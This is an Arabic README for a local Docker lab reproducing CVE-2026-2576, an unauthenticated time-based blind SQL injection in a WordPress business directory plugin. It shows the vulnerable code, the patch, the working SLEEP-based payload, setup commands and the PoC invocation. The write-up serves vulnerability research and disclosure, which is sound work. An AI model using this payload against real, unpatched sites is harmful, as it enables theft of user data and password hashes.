
CVE-2026-2576 — إثبات مفهوم SQLi لمكوّن دليل الأعمال (إعداد محلي). حقن SQL أعمى قائم على الوقت بدون مصادقة في مكوّن دليل الأعمال لووردبريس ≤ 6.4.21
حقن SQL أعمى قائم على الوقت بدون مصادقة
إضافة دليل الأعمال لووردبريس الإصدارات ≤ 6.4.21
| الحقل | التفاصيل |
|---|---|
| CVE | CVE-2026-2576 |
| الإضافة | إضافة دليل الأعمال – أدلة القوائم السهلة لووردبريس |
| البائع | strategy11team |
| المتأثر | جميع الإصدارات ≤ 6.4.21 |
| تم التصحيح | 6.4.22 |
| النوع | حقن SQL أعمى قائم على الوقت (CWE-89) |
| المصادقة | لا شيء — بدون مصادقة تماماً |
| CVSS | 7.5 (NVD) / 9.3 (Wordfence) |
| ناقل الهجوم | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
| المُعين | Wordfence (CNA) — d8ec7d25-1574-416c-b5fd-3a71b1cc09d2 |
| تم الإفصاح | 18 فبراير 2026 |
إضافة دليل الأعمال هي إضافة ووردبريس مستخدمة على نطاق واسع لبناء
أدلة القوائم مع دعم الدفع. وجود خلل في مُنشئ استعلامات ORM
يسمح لمهاجم بدون مصادقة بتنفيذ حقن SQL أعمى قائم على الوقت عبر معامل الاستعلام payment،
مما يتيح استنتاج محتويات قاعدة البيانات.
تقع الثغرة في مُنشئ استعلامات ORM:
الملف: includes/db/class-db-query-set.php — filter_args()
private function filter_args( $args ) {
$filters = array();
foreach ( $args as $f => $v ) {
$op = '=';
// ...
if ( is_array( $v ) ) {
// ❌ ثغرة — بدون تنقية، ربط مباشر للسلاسل النصية
$filters[] = "$f IN ('" . implode( "','", $v ) . "')";
} else {
// ✓ آمن — يستخدم $wpdb->prepare()
$filters[] = $this->db->prepare( "$f $op %s", $v );
}
}
return $filters;
}
عندما تكون $v قيمة قياسية، يستخدم الكود بشكل صحيح $wpdb->prepare(). عندما
تكون $v مصفوفة، يقع في الفرع غير الآمن ويربط القيم
مباشرة في سلسلة SQL بدون أي تهريب.
يقرأ وحدة التحكم الخاصة بالدفع (includes/controllers/pages/class-checkout.php)
معامل الطلب payment ويمرره إلى ORM:
// class-checkout.php :: fetch_payment()
$payment_id = wpbdp_get_var( array( 'param' => 'payment' ), 'request' );
if ( ! $this->payment_id && ! empty( $payment_id ) ) {
$this->payment = WPBDP_Payment::objects()->get(
array( 'payment_key' => $payment_id ) // $payment_id يتم تمريره كقيمة
);
}
يقوم PHP تلقائياً بتحويل payment[]=value في سلسلة الاستعلام إلى
مصفوفة $_GET['payment'] = ['value']. هذا يجبر $v على أن تكون مصفوفة في
filter_args()، مما يصل إلى الفرع غير الآمن.
GET /?page_id=4&wpbdp_view=checkout&payment[]=<الحمولة>
PHP: $_REQUEST['payment'] = ['<الحمولة>'] ← مصفوفة بسبب تدوين []
|
v
class-checkout.php: fetch_payment()
|
v
WPBDP_Payment::objects()->get(['payment_key' => ['<الحمولة>']])
|
v
class-db-query-set.php: filter_args()
=> is_array($v) == TRUE → الفرع غير الآمن
=> "$f IN ('" . implode("','", $v) . "')"
|
v
MySQL: SELECT * FROM wp_wpbdp_payments
WHERE payment_key IN ('<الحمولة>')
payment[]=<مفتاح>') AND IF((<الشرط>),SLEEP(N),0)-- -
SQL المُولدة:
SELECT * FROM wp_wpbdp_payments
WHERE payment_key IN ('<مفتاح>') AND IF((<الشرط>),SLEEP(N),0)-- -')
-- - يعلّق على ') في النهاية. IF() ينشئ
أوراكل منطقي، عندما يكون الشرط TRUE، يتم تشغيل SLEEP(N) ويتأخر الاستجابة؛
عندما يكون FALSE تكون الاستجابة فورية.
ملاحظة: ينفذ ORM الاستعلام مرتين لكل طلب (مرة في get()، ومرة
في maybe_execute_query())، لذا فإن حمولة SLEEP(1) تنتج تأخيراً ملحوظاً
بحوالي ثانيتين، وSLEEP(2) تنتج حوالي 4 ثوانٍ.
يمكن لمهاجم بدون مصادقة استنتاج واستخراج محتويات قاعدة البيانات حرفاً بحرف عبر الاستجابات القائمة على الوقت، بما في ذلك:
wp_users)، أسماء المستخدمين، عناوين البريد الإلكتروني، تجزئات كلمات المروريضيف الإصلاح في الإصدار 6.4.22 تنقية إلى فرع المصفوفة في
filter_args():
// قبل (ثغرة)
$filters[] = "$f IN ('" . implode( "','", $v ) . "')";
// بعد (تم التصحيح)
$escaped = array_map( array( $this->db, 'esc_sql' ), $v );
$filters[] = "$f IN ('" . implode( "','", $escaped ) . "')";
تثبيت تبعيات Python:
pip3 install requests colorama --break-system-packages
cve-2026-2576-lab/
┣ 📂poc
┃ ┣ 📜patch_diff.py
┃ ┗ 📜poc.py
┣ 📜.gitignore
┣ 📜docker-compose.yml
┣ 📜init-db.sql
┣ 📜README.md
┣ 📜setup.sh
┗ 📜uploads.ini
cd cve-2026-2576-lab
docker compose up -d --build
docker compose up setup
انتظر حتى ترى:
╔══════════════════════════════════════════════════════════╗
║ اكتمل إعداد المختبر! ║
╠══════════════════════════════════════════════════════════╣
║ WordPress: http://localhost:8080 ║
║ لوحة WP: http://localhost:8080/wp-admin ║
║ phpMyAdmin: http://localhost:8082 ║
╠══════════════════════════════════════════════════════════╣
║ admin / admin123 ║
║ victim / victimpass123 ║
╠══════════════════════════════════════════════════════════╣
║ الإضافة: 6.4.21 (ثغرة) ║
║ معرف صفحة BD: 4 ║
╚══════════════════════════════════════════════════════════╝
docker exec lab_wordpress bash -c \
"grep 'Version:' /var/www/html/wp-content/plugins/business-directory-plugin/business-directory-plugin.php \
| head -1"
# المتوقع: * Version: 6.4.21
docker exec lab_mysql mysql -uwpuser -pwppass wordpress -e "SELECT id, payment_key, status FROM wp_wpbdp_payments;"
+----+--------------+---------+
| id | payment_key | status |
+----+--------------+---------+
| 1 | seed-pay-001 | pending |
+----+--------------+---------+
docker compose up -d pma
# الوصول عبر http://localhost:8082 (root / rootpass)
تُنفذ جميع الأوامر من الدليل الجذر للمختبر على جهاز Kali الخاص بك.
استخدم http://localhost:8080 (تعيين منفذ المضيف ← Docker).
يجب أن يتوافق payment_key مع صف موجود في wp_wpbdp_payments.
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --detect
المتوقع: INJECTION CONFIRMED ✓ (2.03s ≈ 1s × 2 ORM executions)